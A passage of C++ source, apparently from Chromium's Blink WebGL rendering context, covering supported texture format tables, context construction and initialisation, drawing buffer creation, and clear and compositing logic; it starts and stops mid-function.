DCHECK_GE(number_of_user_allocated_multisampled_renderbuffers_, 0);\n}\n\nnamespace {\n\n// Exposed by GL_ANGLE_depth_texture\nstatic const GLenum kSupportedInternalFormatsOESDepthTex[] = {\n    GL_DEPTH_COMPONENT, GL_DEPTH_STENCIL,\n};\n\n// Exposed by GL_EXT_sRGB\nstatic const GLenum kSupportedInternalFormatsEXTsRGB[] = {\n    GL_SRGB, GL_SRGB_ALPHA_EXT,\n};\n\n// ES3 enums supported by both CopyTexImage and TexImage.\nstatic const GLenum kSupportedInternalFormatsES3[] = {\n    GL_R8,           GL_RG8,      GL_RGB565,   GL_RGB8,       GL_RGBA4,\n    GL_RGB5_A1,      GL_RGBA8,    GL_RGB10_A2, GL_RGB10_A2UI, GL_SRGB8,\n    GL_SRGB8_ALPHA8, GL_R8I,      GL_R8UI,     GL_R16I,       GL_R16UI,\n    GL_R32I,         GL_R32UI,    GL_RG8I,     GL_RG8UI,      GL_RG16I,\n    GL_RG16UI,       GL_RG32I,    GL_RG32UI,   GL_RGBA8I,     GL_RGBA8UI,\n    GL_RGBA16I,      GL_RGBA16UI, GL_RGBA32I,  GL_RGBA32UI,   GL_RGB32I,\n    GL_RGB32UI,      GL_RGB8I,    GL_RGB8UI,   GL_RGB16I,     GL_RGB16UI,\n};\n\n// ES3 enums only supported by TexImage\nstatic const GLenum kSupportedInternalFormatsTexImageES3[] = {\n    GL_R8_SNORM,\n    GL_R16F,\n    GL_R32F,\n    GL_RG8_SNORM,\n    GL_RG16F,\n    GL_RG32F,\n    GL_RGB8_SNORM,\n    GL_R11F_G11F_B10F,\n    GL_RGB9_E5,\n    GL_RGB16F,\n    GL_RGB32F,\n    GL_RGBA8_SNORM,\n    GL_RGBA16F,\n    GL_RGBA32F,\n    GL_DEPTH_COMPONENT16,\n    GL_DEPTH_COMPONENT24,\n    GL_DEPTH_COMPONENT32F,\n    GL_DEPTH24_STENCIL8,\n    GL_DEPTH32F_STENCIL8,\n};\n\n// Exposed by EXT_texture_norm16\nstatic constexpr GLenum kSupportedInternalFormatsEXTTextureNorm16ES3[] = {\n    GL_R16_EXT,         GL_RG16_EXT,        GL_RGB16_EXT,\n    GL_RGBA16_EXT,      GL_R16_SNORM_EXT,   GL_RG16_SNORM_EXT,\n    GL_RGB16_SNORM_EXT, GL_RGBA16_SNORM_EXT};\n\nstatic constexpr GLenum kSupportedFormatsEXTTextureNorm16ES3[] = {GL_RED,\n                                                                  GL_RG};\n\nstatic constexpr GLenum kSupportedTypesEXTTextureNorm16ES3[] = {\n    GL_SHORT, GL_UNSIGNED_SHORT};\n\n// Exposed by EXT_color_buffer_float\nstatic const GLenum kSupportedInternalFormatsCopyTexImageFloatES3[] = {\n    GL_R16F,   GL_R32F,    GL_RG16F,   GL_RG32F,         GL_RGB16F,\n    GL_RGB32F, GL_RGBA16F, GL_RGBA32F, GL_R11F_G11F_B10F};\n\n// ES3 enums supported by TexImageSource\nstatic const GLenum kSupportedInternalFormatsTexImageSourceES3[] = {\n    GL_R8,      GL_R16F,           GL_R32F,         GL_R8UI,     GL_RG8,\n    GL_RG16F,   GL_RG32F,          GL_RG8UI,        GL_RGB8,     GL_SRGB8,\n    GL_RGB565,  GL_R11F_G11F_B10F, GL_RGB9_E5,      GL_RGB16F,   GL_RGB32F,\n    GL_RGB8UI,  GL_RGBA8,          GL_SRGB8_ALPHA8, GL_RGB5_A1,  GL_RGBA4,\n    GL_RGBA16F, GL_RGBA32F,        GL_RGBA8UI,      GL_RGB10_A2,\n};\n\n// ES2 enums\n// Internalformat must equal format in ES2.\nstatic const GLenum kSupportedFormatsES2[] = {\n    GL_RGB, GL_RGBA, GL_LUMINANCE_ALPHA, GL_LUMINANCE, GL_ALPHA,\n};\n\n// Exposed by GL_ANGLE_depth_texture\nstatic const GLenum kSupportedFormatsOESDepthTex[] = {\n    GL_DEPTH_COMPONENT, GL_DEPTH_STENCIL,\n};\n\n// Exposed by GL_EXT_sRGB\nstatic const GLenum kSupportedFormatsEXTsRGB[] = {\n    GL_SRGB, GL_SRGB_ALPHA_EXT,\n};\n\n// ES3 enums\nstatic const GLenum kSupportedFormatsES3[] = {\n    GL_RED,           GL_RED_INTEGER,  GL_RG,\n    GL_RG_INTEGER,    GL_RGB,          GL_RGB_INTEGER,\n    GL_RGBA,          GL_RGBA_INTEGER, GL_DEPTH_COMPONENT,\n    GL_DEPTH_STENCIL,\n};\n\n// ES3 enums supported by TexImageSource\nstatic const GLenum kSupportedFormatsTexImageSourceES3[] = {\n    GL_RED, GL_RED_INTEGER, GL_RG,   GL_RG_INTEGER,\n    GL_RGB, GL_RGB_INTEGER, GL_RGBA, GL_RGBA_INTEGER,\n};\n\n// ES2 enums\nstatic const GLenum kSupportedTypesES2[] = {\n    GL_UNSIGNED_BYTE, GL_UNSIGNED_SHORT_5_6_5, GL_UNSIGNED_SHORT_4_4_4_4,\n    GL_UNSIGNED_SHORT_5_5_5_1,\n};\n\n// Exposed by GL_OES_texture_float\nstatic const GLenum kSupportedTypesOESTexFloat[] = {\n    GL_FLOAT,\n};\n\n// Exposed by GL_OES_texture_half_float\nstatic const GLenum kSupportedTypesOESTexHalfFloat[] = {\n    GL_HALF_FLOAT_OES,\n};\n\n// Exposed by GL_ANGLE_depth_texture\nstatic const GLenum kSupportedTypesOESDepthTex[] = {\n    GL_UNSIGNED_SHORT, GL_UNSIGNED_INT, GL_UNSIGNED_INT_24_8,\n};\n\n// ES3 enums\nstatic const GLenum kSupportedTypesES3[] = {\n    GL_BYTE,\n    GL_UNSIGNED_SHORT,\n    GL_SHORT,\n    GL_UNSIGNED_INT,\n    GL_INT,\n    GL_HALF_FLOAT,\n    GL_FLOAT,\n    GL_UNSIGNED_INT_2_10_10_10_REV,\n    GL_UNSIGNED_INT_10F_11F_11F_REV,\n    GL_UNSIGNED_INT_5_9_9_9_REV,\n    GL_UNSIGNED_INT_24_8,\n    GL_FLOAT_32_UNSIGNED_INT_24_8_REV,\n};\n\n// ES3 enums supported by TexImageSource\nstatic const GLenum kSupportedTypesTexImageSourceES3[] = {\n    GL_HALF_FLOAT, GL_FLOAT, GL_UNSIGNED_INT_10F_11F_11F_REV,\n    GL_UNSIGNED_INT_2_10_10_10_REV,\n};\n\n}  // namespace\n\nWebGLRenderingContextBase::WebGLRenderingContextBase(\n    CanvasRenderingContextHost* host,\n    std::unique_ptr<WebGraphicsContext3DProvider> context_provider,\n    bool using_gpu_compositing,\n    const CanvasContextCreationAttributesCore& requested_attributes,\n    Platform::ContextType version)\n    : WebGLRenderingContextBase(\n          host,\n          host->GetTopExecutionContext()->GetTaskRunner(TaskType::kWebGL),\n          std::move(context_provider),\n          using_gpu_compositing,\n          requested_attributes,\n          version) {}\n\nWebGLRenderingContextBase::WebGLRenderingContextBase(\n    CanvasRenderingContextHost* host,\n    scoped_refptr<base::SingleThreadTaskRunner> task_runner,\n    std::unique_ptr<WebGraphicsContext3DProvider> context_provider,\n    bool using_gpu_compositing,\n    const CanvasContextCreationAttributesCore& requested_attributes,\n    Platform::ContextType context_type)\n    : CanvasRenderingContext(host, requested_attributes),\n      context_group_(MakeGarbageCollected<WebGLContextGroup>()),\n      dispatch_context_lost_event_timer_(\n          task_runner,\n          this,\n          &WebGLRenderingContextBase::DispatchContextLostEvent),\n      restore_timer_(task_runner,\n                     this,\n                     &WebGLRenderingContextBase::MaybeRestoreContext),\n      task_runner_(task_runner),\n      num_gl_errors_to_console_allowed_(kMaxGLErrorsAllowedToConsole),\n      context_type_(context_type),\n      program_completion_queries_(\n          base::MRUCache<WebGLProgram*, GLuint>::NO_AUTO_EVICT),\n      feature_handle_for_scheduler_(\n          host->GetTopExecutionContext()->GetScheduler()->RegisterFeature(\n              SchedulingPolicy::Feature::kWebGL,\n              {SchedulingPolicy::RecordMetricsForBackForwardCache()})),\n      number_of_user_allocated_multisampled_renderbuffers_(0) {\n  DCHECK(context_provider);\n\n  // TODO(http://crbug.com/876140) Make sure this is being created on a\n  // compatible adapter.\n  xr_compatible_ = requested_attributes.xr_compatible;\n\n  context_group_->AddContext(this);\n\n  max_viewport_dims_[0] = max_viewport_dims_[1] = 0;\n  context_provider->ContextGL()->GetIntegerv(GL_MAX_VIEWPORT_DIMS,\n                                             max_viewport_dims_);\n  InitializeWebGLContextLimits(context_provider.get());\n\n  scoped_refptr<DrawingBuffer> buffer;\n  buffer =\n      CreateDrawingBuffer(std::move(context_provider), using_gpu_compositing);\n  if (!buffer) {\n    context_lost_mode_ = kSyntheticLostContext;\n    return;\n  }\n\n  drawing_buffer_ = std::move(buffer);\n  GetDrawingBuffer()->Bind(GL_FRAMEBUFFER);\n  SetupFlags();\n\n  String disabled_webgl_extensions(GetDrawingBuffer()\n                                       ->ContextProvider()\n                                       ->GetGpuFeatureInfo()\n                                       .disabled_webgl_extensions.c_str());\n  Vector<String> disabled_extension_list;\n  disabled_webgl_extensions.Split(' ', disabled_extension_list);\n  for (const auto& entry : disabled_extension_list) {\n    disabled_extensions_.insert(entry);\n  }\n\n#define ADD_VALUES_TO_SET(set, values)              \\\n  for (size_t i = 0; i < base::size(values); ++i) { \\\n    set.insert(values[i]);                          \\\n  }\n\n  ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedFormatsES2);\n  ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                    kSupportedFormatsES2);\n  ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_,\n                    kSupportedFormatsES2);\n  ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES2);\n  ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsES2);\n  ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES2);\n  ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesES2);\n}\n\nscoped_refptr<DrawingBuffer> WebGLRenderingContextBase::CreateDrawingBuffer(\n    std::unique_ptr<WebGraphicsContext3DProvider> context_provider,\n    bool using_gpu_compositing) {\n  const CanvasContextCreationAttributesCore& attrs = CreationAttributes();\n  bool premultiplied_alpha = attrs.premultiplied_alpha;\n  bool want_alpha_channel = attrs.alpha;\n  bool want_depth_buffer = attrs.depth;\n  bool want_stencil_buffer = attrs.stencil;\n  bool want_antialiasing = attrs.antialias;\n  DrawingBuffer::PreserveDrawingBuffer preserve = attrs.preserve_drawing_buffer\n                                                      ? DrawingBuffer::kPreserve\n                                                      : DrawingBuffer::kDiscard;\n  DrawingBuffer::WebGLVersion web_gl_version = DrawingBuffer::kWebGL1;\n  if (context_type_ == Platform::kWebGL1ContextType) {\n    web_gl_version = DrawingBuffer::kWebGL1;\n  } else if (context_type_ == Platform::kWebGL2ContextType) {\n    web_gl_version = DrawingBuffer::kWebGL2;\n  } else if (context_type_ == Platform::kWebGL2ComputeContextType) {\n    web_gl_version = DrawingBuffer::kWebGL2Compute;\n  } else {\n    NOTREACHED();\n  }\n\n  // On Mac OS, DrawingBuffer is using an IOSurface as its backing storage, this\n  // allows WebGL-rendered canvases to be composited by the OS rather than\n  // Chrome.\n  // IOSurfaces are only compatible with the GL_TEXTURE_RECTANGLE_ARB binding\n  // target. So to avoid the knowledge of GL_TEXTURE_RECTANGLE_ARB type textures\n  // being introduced into more areas of the code, we use the code path of\n  // non-WebGLImageChromium for OffscreenCanvas.\n  // See detailed discussion in crbug.com/649668.\n  DrawingBuffer::ChromiumImageUsage chromium_image_usage =\n      Host()->IsOffscreenCanvas() ? DrawingBuffer::kDisallowChromiumImage\n                                  : DrawingBuffer::kAllowChromiumImage;\n\n  bool using_swap_chain =\n      base::FeatureList::IsEnabled(features::kLowLatencyWebGLSwapChain) &&\n      context_provider->GetCapabilities().shared_image_swap_chain &&\n      attrs.desynchronized;\n\n  return DrawingBuffer::Create(\n      std::move(context_provider), using_gpu_compositing, using_swap_chain,\n      this, ClampedCanvasSize(), premultiplied_alpha, want_alpha_channel,\n      want_depth_buffer, want_stencil_buffer, want_antialiasing, preserve,\n      web_gl_version, chromium_image_usage, ColorParams(),\n      PowerPreferenceToGpuPreference(attrs.power_preference));\n}\n\nvoid WebGLRenderingContextBase::InitializeNewContext() {\n  DCHECK(!isContextLost());\n  DCHECK(GetDrawingBuffer());\n\n  // TODO(http://crbug.com/876140) Does compatible_xr_device needs to be taken\n  // into account here?\n\n  marked_canvas_dirty_ = false;\n  must_paint_to_canvas_ = false;\n  active_texture_unit_ = 0;\n  pack_alignment_ = 4;\n  unpack_alignment_ = 4;\n  unpack_flip_y_ = false;\n  unpack_premultiply_alpha_ = false;\n  unpack_colorspace_conversion_ = GC3D_BROWSER_DEFAULT_WEBGL;\n  bound_array_buffer_ = nullptr;\n  current_program_ = nullptr;\n  framebuffer_binding_ = nullptr;\n  renderbuffer_binding_ = nullptr;\n  depth_mask_ = true;\n  stencil_enabled_ = false;\n  stencil_mask_ = 0xFFFFFFFF;\n  stencil_mask_back_ = 0xFFFFFFFF;\n  stencil_func_ref_ = 0;\n  stencil_func_ref_back_ = 0;\n  stencil_func_mask_ = 0xFFFFFFFF;\n  stencil_func_mask_back_ = 0xFFFFFFFF;\n  num_gl_errors_to_console_allowed_ = kMaxGLErrorsAllowedToConsole;\n\n  clear_color_[0] = clear_color_[1] = clear_color_[2] = clear_color_[3] = 0;\n  scissor_enabled_ = false;\n  clear_depth_ = 1;\n  clear_stencil_ = 0;\n  color_mask_[0] = color_mask_[1] = color_mask_[2] = color_mask_[3] = true;\n\n  GLint num_combined_texture_image_units = 0;\n  ContextGL()->GetIntegerv(GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS,\n                           &num_combined_texture_image_units);\n  texture_units_.clear();\n  texture_units_.resize(num_combined_texture_image_units);\n\n  GLint num_vertex_attribs = 0;\n  ContextGL()->GetIntegerv(GL_MAX_VERTEX_ATTRIBS, &num_vertex_attribs);\n  max_vertex_attribs_ = num_vertex_attribs;\n\n  max_texture_size_ = 0;\n  ContextGL()->GetIntegerv(GL_MAX_TEXTURE_SIZE, &max_texture_size_);\n  max_texture_level_ =\n      WebGLTexture::ComputeLevelCount(max_texture_size_, max_texture_size_, 1);\n  max_cube_map_texture_size_ = 0;\n  ContextGL()->GetIntegerv(GL_MAX_CUBE_MAP_TEXTURE_SIZE,\n                           &max_cube_map_texture_size_);\n  max3d_texture_size_ = 0;\n  max3d_texture_level_ = 0;\n  max_array_texture_layers_ = 0;\n  if (IsWebGL2OrHigher()) {\n    ContextGL()->GetIntegerv(GL_MAX_3D_TEXTURE_SIZE, &max3d_texture_size_);\n    max3d_texture_level_ = WebGLTexture::ComputeLevelCount(\n        max3d_texture_size_, max3d_texture_size_, max3d_texture_size_);\n    ContextGL()->GetIntegerv(GL_MAX_ARRAY_TEXTURE_LAYERS,\n                             &max_array_texture_layers_);\n  }\n  max_cube_map_texture_level_ = WebGLTexture::ComputeLevelCount(\n      max_cube_map_texture_size_, max_cube_map_texture_size_, 1);\n  max_renderbuffer_size_ = 0;\n  ContextGL()->GetIntegerv(GL_MAX_RENDERBUFFER_SIZE, &max_renderbuffer_size_);\n\n  // These two values from EXT_draw_buffers are lazily queried.\n  max_draw_buffers_ = 0;\n  max_color_attachments_ = 0;\n\n  back_draw_buffer_ = GL_BACK;\n\n  read_buffer_of_default_framebuffer_ = GL_BACK;\n\n  default_vertex_array_object_ = MakeGarbageCollected<WebGLVertexArrayObject>(\n      this, WebGLVertexArrayObjectBase::kVaoTypeDefault);\n\n  bound_vertex_array_object_ = default_vertex_array_object_;\n\n  vertex_attrib_type_.resize(max_vertex_attribs_);\n\n  ContextGL()->Viewport(0, 0, drawingBufferWidth(), drawingBufferHeight());\n  scissor_box_[0] = scissor_box_[1] = 0;\n  scissor_box_[2] = drawingBufferWidth();\n  scissor_box_[3] = drawingBufferHeight();\n  ContextGL()->Scissor(scissor_box_[0], scissor_box_[1], scissor_box_[2],\n                       scissor_box_[3]);\n\n  GetDrawingBuffer()->ContextProvider()->SetLostContextCallback(\n      WTF::BindRepeating(&WebGLRenderingContextBase::ForceLostContext,\n                         WrapWeakPersistent(this),\n                         WebGLRenderingContextBase::kRealLostContext,\n                         WebGLRenderingContextBase::kAuto));\n  GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback(\n      WTF::BindRepeating(&WebGLRenderingContextBase::OnErrorMessage,\n                         WrapWeakPersistent(this)));\n\n  // If the context has the flip_y extension, it will behave as having the\n  // origin of coordinates on the top left.\n  is_origin_top_left_ = GetDrawingBuffer()\n                            ->ContextProvider()\n                            ->GetCapabilities()\n                            .mesa_framebuffer_flip_y;\n\n  // If WebGL 2, the PRIMITIVE_RESTART_FIXED_INDEX should be always enabled.\n  // See the section <Primitive Restart is Always Enabled> in WebGL 2 spec:\n  // https://www.khronos.org/registry/webgl/specs/latest/2.0/#4.1.4\n  if (IsWebGL2OrHigher())\n    ContextGL()->Enable(GL_PRIMITIVE_RESTART_FIXED_INDEX);\n\n  // This ensures that the context has a valid \"lastFlushID\" and won't be\n  // mistakenly identified as the \"least recently used\" context.\n  ContextGL()->Flush();\n\n  for (int i = 0; i < kWebGLExtensionNameCount; ++i)\n    extension_enabled_[i] = false;\n\n  // This limits the count of threads if the extension is yet to be requested.\n  if (String(ContextGL()->GetString(GL_EXTENSIONS))\n          .Contains(\"GL_KHR_parallel_shader_compile\")) {\n    ContextGL()->MaxShaderCompilerThreadsKHR(2);\n  }\n  is_web_gl2_formats_types_added_ = false;\n  is_web_gl2_tex_image_source_formats_types_added_ = false;\n  is_web_gl2_internal_formats_copy_tex_image_added_ = false;\n  is_oes_texture_float_formats_types_added_ = false;\n  is_oes_texture_half_float_formats_types_added_ = false;\n  is_web_gl_depth_texture_formats_types_added_ = false;\n  is_ext_srgb_formats_types_added_ = false;\n  is_ext_color_buffer_float_formats_added_ = false;\n  is_ext_texture_norm16_added_ = false;\n\n  supported_internal_formats_.clear();\n  ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedFormatsES2);\n  supported_tex_image_source_internal_formats_.clear();\n  ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_,\n                    kSupportedFormatsES2);\n  supported_internal_formats_copy_tex_image_.clear();\n  ADD_VALUES_TO_SET(supported_internal_formats_copy_tex_image_,\n                    kSupportedFormatsES2);\n  supported_formats_.clear();\n  ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES2);\n  supported_tex_image_source_formats_.clear();\n  ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsES2);\n  supported_types_.clear();\n  ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES2);\n  supported_tex_image_source_types_.clear();\n  ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesES2);\n\n  number_of_user_allocated_multisampled_renderbuffers_ = 0;\n\n  // The DrawingBuffer was unable to store the state that dirtied when it was\n  // initialized. Restore it now.\n  GetDrawingBuffer()->RestoreAllState();\n  ActivateContext(this);\n}\n\nvoid WebGLRenderingContextBase::SetupFlags() {\n  DCHECK(GetDrawingBuffer());\n  if (canvas()) {\n    synthesized_errors_to_console_ =\n        canvas()->GetDocument().GetSettings()->GetWebGLErrorsToConsoleEnabled();\n  }\n\n  is_depth_stencil_supported_ =\n      ExtensionsUtil()->IsExtensionEnabled(\"GL_OES_packed_depth_stencil\");\n}\n\nvoid WebGLRenderingContextBase::AddCompressedTextureFormat(GLenum format) {\n  if (!compressed_texture_formats_.Contains(format))\n    compressed_texture_formats_.push_back(format);\n}\n\nvoid WebGLRenderingContextBase::RemoveAllCompressedTextureFormats() {\n  compressed_texture_formats_.clear();\n}\n\n// Helper function for V8 bindings to identify what version of WebGL a\n// CanvasRenderingContext supports.\nunsigned WebGLRenderingContextBase::GetWebGLVersion(\n    const CanvasRenderingContext* context) {\n  if (!context->Is3d())\n    return 0;\n  return static_cast<const WebGLRenderingContextBase*>(context)->ContextType();\n}\n\nWebGLRenderingContextBase::~WebGLRenderingContextBase() {\n  // It's forbidden to refer to other GC'd objects in a GC'd object's\n  // destructor. It's useful for DrawingBuffer to guarantee that it\n  // calls its DrawingBufferClient during its own destruction, but if\n  // the WebGL context is also being destroyed, then it's essential\n  // that the DrawingBufferClient methods not try to touch other\n  // objects like WebGLTextures that were previously hooked into the\n  // context state.\n  destruction_in_progress_ = true;\n\n  // Now that the context and context group no longer hold on to the\n  // objects they create, and now that the objects are eagerly finalized\n  // rather than the context, there is very little useful work that this\n  // destructor can do, since it's not allowed to touch other on-heap\n  // objects. All it can do is destroy its underlying context, which, if\n  // there are no other contexts in the same share group, will cause all of\n  // the underlying graphics resources to be deleted. (Currently, it's\n  // always the case that there are no other contexts in the same share\n  // group -- resource sharing between WebGL contexts is not yet\n  // implemented, and due to its complex semantics, it's doubtful that it\n  // ever will be.)\n  DestroyContext();\n\n  // Now that this context is destroyed, see if there's a\n  // previously-evicted one that should be restored.\n  RestoreEvictedContext(this);\n}\n\nvoid WebGLRenderingContextBase::DestroyContext() {\n  if (!GetDrawingBuffer())\n    return;\n\n  clearProgramCompletionQueries();\n\n  extensions_util_.reset();\n\n  base::RepeatingClosure null_closure;\n  base::RepeatingCallback<void(const char*, int32_t)> null_function;\n  GetDrawingBuffer()->ContextProvider()->SetLostContextCallback(\n      std::move(null_closure));\n  GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback(\n      std::move(null_function));\n\n  DCHECK(GetDrawingBuffer());\n  drawing_buffer_->BeginDestruction();\n  drawing_buffer_ = nullptr;\n}\n\nvoid WebGLRenderingContextBase::MarkContextChanged(\n    ContentChangeType change_type) {\n  if (isContextLost())\n    return;\n\n  if (framebuffer_binding_) {\n    framebuffer_binding_->SetContentsChanged(true);\n    return;\n  }\n\n  // Regardless of whether dirty propagations are optimized away, the back\n  // buffer is now out of sync with respect to the canvas's internal backing\n  // store -- which is only used for certain purposes, like printing.\n  must_paint_to_canvas_ = true;\n\n  if (!GetDrawingBuffer()->MarkContentsChanged() && marked_canvas_dirty_) {\n    return;\n  }\n\n  if (Host()->IsOffscreenCanvas()) {\n    marked_canvas_dirty_ = true;\n    DidDraw();\n    return;\n  }\n\n  if (!canvas())\n    return;\n\n  if (!marked_canvas_dirty_) {\n    marked_canvas_dirty_ = true;\n    LayoutBox* layout_box = canvas()->GetLayoutBox();\n    auto* settings = canvas()->GetDocument().GetSettings();\n    if (layout_box && settings->GetAcceleratedCompositingEnabled())\n      layout_box->ContentChanged(change_type);\n    IntSize canvas_size = ClampedCanvasSize();\n    DidDraw(SkIRect::MakeXYWH(0, 0, canvas_size.Width(), canvas_size.Height()));\n  }\n}\n\nscoped_refptr<base::SingleThreadTaskRunner>\nWebGLRenderingContextBase::GetContextTaskRunner() {\n  return task_runner_;\n}\n\nvoid WebGLRenderingContextBase::DidDraw(const SkIRect& dirty_rect) {\n  MarkContextChanged(kCanvasChanged);\n  CanvasRenderingContext::DidDraw(dirty_rect);\n}\n\nvoid WebGLRenderingContextBase::DidDraw() {\n  MarkContextChanged(kCanvasChanged);\n  CanvasRenderingContext::DidDraw();\n}\n\nbool WebGLRenderingContextBase::PushFrame() {\n  int width = GetDrawingBuffer()->Size().Width();\n  int height = GetDrawingBuffer()->Size().Height();\n  int submitted_frame = false;\n  if (PaintRenderingResultsToCanvas(kBackBuffer)) {\n    if (Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration)) {\n      submitted_frame =\n          Host()->PushFrame(Host()->ResourceProvider()->ProduceCanvasResource(),\n                            SkIRect::MakeWH(width, height));\n    }\n  }\n  MarkLayerComposited();\n  return submitted_frame;\n}\n\nvoid WebGLRenderingContextBase::FinalizeFrame() {\n  if (Host()->LowLatencyEnabled()) {\n    // PaintRenderingResultsToCanvas will export drawing buffer if the resource\n    // provider is single buffered.  Otherwise it will copy the drawing buffer.\n    PaintRenderingResultsToCanvas(kBackBuffer);\n  }\n  marked_canvas_dirty_ = false;\n}\n\nvoid WebGLRenderingContextBase::OnErrorMessage(const char* message,\n                                               int32_t id) {\n  if (synthesized_errors_to_console_)\n    PrintGLErrorToConsole(message);\n  probe::DidFireWebGLErrorOrWarning(canvas(), message);\n}\n\nWebGLRenderingContextBase::HowToClear\nWebGLRenderingContextBase::ClearIfComposited(GLbitfield mask) {\n  if (isContextLost())\n    return kSkipped;\n\n  GLbitfield buffers_needing_clearing =\n      GetDrawingBuffer()->GetBuffersToAutoClear();\n\n  if (buffers_needing_clearing == 0 || (mask && framebuffer_binding_))\n    return kSkipped;\n\n  WebGLContextAttributes* context_attributes = getContextAttributes();\n  if (!context_attributes) {\n    // Unlikely, but context was lost.\n    return kSkipped;\n  }\n\n  // Determine if it's possible to combine the clear the user asked for and this\n  // clear.\n  bool combined_clear = mask && !scissor_enabled_;\n\n  ContextGL()->Disable(GL_SCISSOR_TEST);\n  if (combined_clear && (mask & GL_COLOR_BUFFER_BIT)) {\n    ContextGL()->ClearColor(color_mask_[0] ? clear_color_[0] : 0,\n                            color_mask_[1] ? clear_color_[1] : 0,\n                            color_mask_[2] ? clear_color_[2] : 0,\n                            color_mask_[3] ? clear_color_[3] : 0);\n  } else {\n    ContextGL()->ClearColor(0, 0, 0, 0);\n  }\n  ContextGL()->ColorMask(\n      true, true, true,\n      !GetDrawingBuffer()->RequiresAlphaChannelToBePreserved());\n  GLbitfield clear_mask = GL_COLOR_BUFFER_BIT;\n  if (context_attributes->depth()) {\n    if (!combined_clear || !depth_mask_ || !(mask & GL_DEPTH_BUFFER_BIT))\n      ContextGL()->ClearDepthf(1.0f);\n    clear_mask |= GL_DEPTH_BUFFER_BIT;\n    ContextGL()->DepthMask(true);\n  }\n  if (context_attributes->stencil() ||\n      GetDrawingBuffer()->HasImplicitStencilBuffer()) {\n    if (combined_clear && (mask & GL_STENCIL_BUFFER_BIT))\n      ContextGL()->ClearStencil(clear_stencil_ & stencil_mask_);\n    else\n      ContextGL()->ClearStencil(0);\n    clear_mask |= GL_STENCIL_BUFFER_BIT;\n    ContextGL()->StencilMaskSeparate(GL_FRONT, 0xFFFFFFFF);\n  }\n\n  ContextGL()->ColorMask(\n      true, true, true,\n      !GetDrawingBuffer()->DefaultBufferRequiresAlphaChannelToBePreserved());\n  // If the WebGL 2.0 clearBuffer APIs already have been used to\n  // selectively clear some of the buffers, don't destroy those\n  // results.\n  GetDrawingBuffer()->ClearFramebuffers(clear_mask & buffers_needing_clearing);\n\n  // Call the DrawingBufferClient method to restore scissor test, mask, and\n  // clear values, because we dirtied them above.\n  DrawingBufferClientRestoreScissorTest();\n  DrawingBufferClientRestoreMaskAndClearValues();\n\n  GetDrawingBuffer()->SetBuffersToAutoClear(0);\n\n  return combined_clear ? kCombinedClear : kJustClear;\n}\n\nvoid WebGLRenderingContextBase::RestoreScissorEnabled() {\n  if (isContextLost())\n    return;\n\n  if (scissor_enabled_) {\n    ContextGL()->Enable(GL_SCISSOR_TEST);\n  } else {\n    ContextGL()->Disable(GL_SCISSOR_TEST);\n  }\n}\n\nvoid WebGLRenderingContextBase::RestoreScissorBox() {\n  if (isContextLost())\n    return;\n\n  ContextGL()->Scissor(scissor_box_[0], scissor_box_[1], scissor_box_[2],\n                       scissor_box_[3]);\n}\n\nvoid WebGLRenderingContextBase::RestoreClearColor() {\n  if (isContextLost())\n    return;\n\n  ContextGL()->ClearColor(clear_color_[0], clear_color_[1], clear_color_[2],\n                          clear_color_[3]);\n}\n\nvoid WebGLRenderingContextBase::RestoreColorMask() {\n  if (isContextLost())\n    return;\n\n  ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2],\n                         color_mask_[3]);\n}\n\nvoid WebGLRenderingContextBase::MarkLayerComposited() {\n  if (!isContextLost())\n    GetDrawingBuffer()->ResetBuffersToAutoClear();\n}\n\nbool WebGLRenderingContextBase::UsingSwapChain() const {\n  return GetDrawingBuffer() && GetDrawingBuffer()->UsingSwapChain();\n}\n\nbool WebGLRenderingContextBase::IsOriginTopLeft() const {\n  if (isContextLost())\n    return false;\n  return is_origin_top_left_;\n}\n\nvoid WebGLRenderingContextBase::SetIsInHiddenPage(bool hidden) {\n  is_hidden_ = hidden;\n  if (GetDrawingBuffer())\n    GetDrawingBuffer()->SetIsInHiddenPage(hidden);\n\n  if (!hidden && isContextLost() && restore_allowed_ &&\n      auto_recovery_method_ == kAuto) {\n    DCHECK(!restore_timer_.IsActive());\n    restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE);\n  }\n}\n\nbool WebGLRenderingContextBase::PaintRenderingResultsToCanvas(\n    SourceDrawingBuffer source_buffer) {\n  if (isContextLost() || !GetDrawingBuffer())\n    return false;\n\n  bool must_clear_now = ClearIfComposited() != kSkipped;\n  if (!must_paint_to_canvas_ && !must_clear_now)\n    return false;\n\n  must_paint_to_canvas_ = false;\n\n  if (Host()->ResourceProvider() &&\n      Host()->ResourceProvider()->Size() != GetDrawingBuffer()->Size()) {\n    Host()->DiscardResourceProvider();\n  }\n\n  CanvasResourceProvider* resource_provider =\n      Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration);\n  if (!resource_provider)\n    return false;\n\n  if (Host()->LowLatencyEnabled() &&\n      resource_provider->SupportsSingleBuffering()) {\n    // It's possible single buffering isn't enabled yet because we haven't\n    // finished the first frame e.g. this gets called first due to drawImage.\n    resource_provider->TryEnableSingleBuffering();\n    DCHECK(resource_provider->IsSingleBuffered());\n    // Single buffered passthrough resource provider doesn't have backing\n    // texture. We need to export the backbuffer mailbox directly without\n    // copying.\n    if (!resource_provider->ImportResource(GetDrawingBuffer()->AsCanvasResource(\n            resource_provider->CreateWeakPtr()))) {\n      // This isn't expected to fail for single buffered resource provider.\n      NOTREACHED();\n      return false;\n    }\n    return true;\n  }\n\n  ScopedTexture2DRestorer restorer(this);\n  ScopedFramebufferRestorer fbo_restorer(this);\n\n  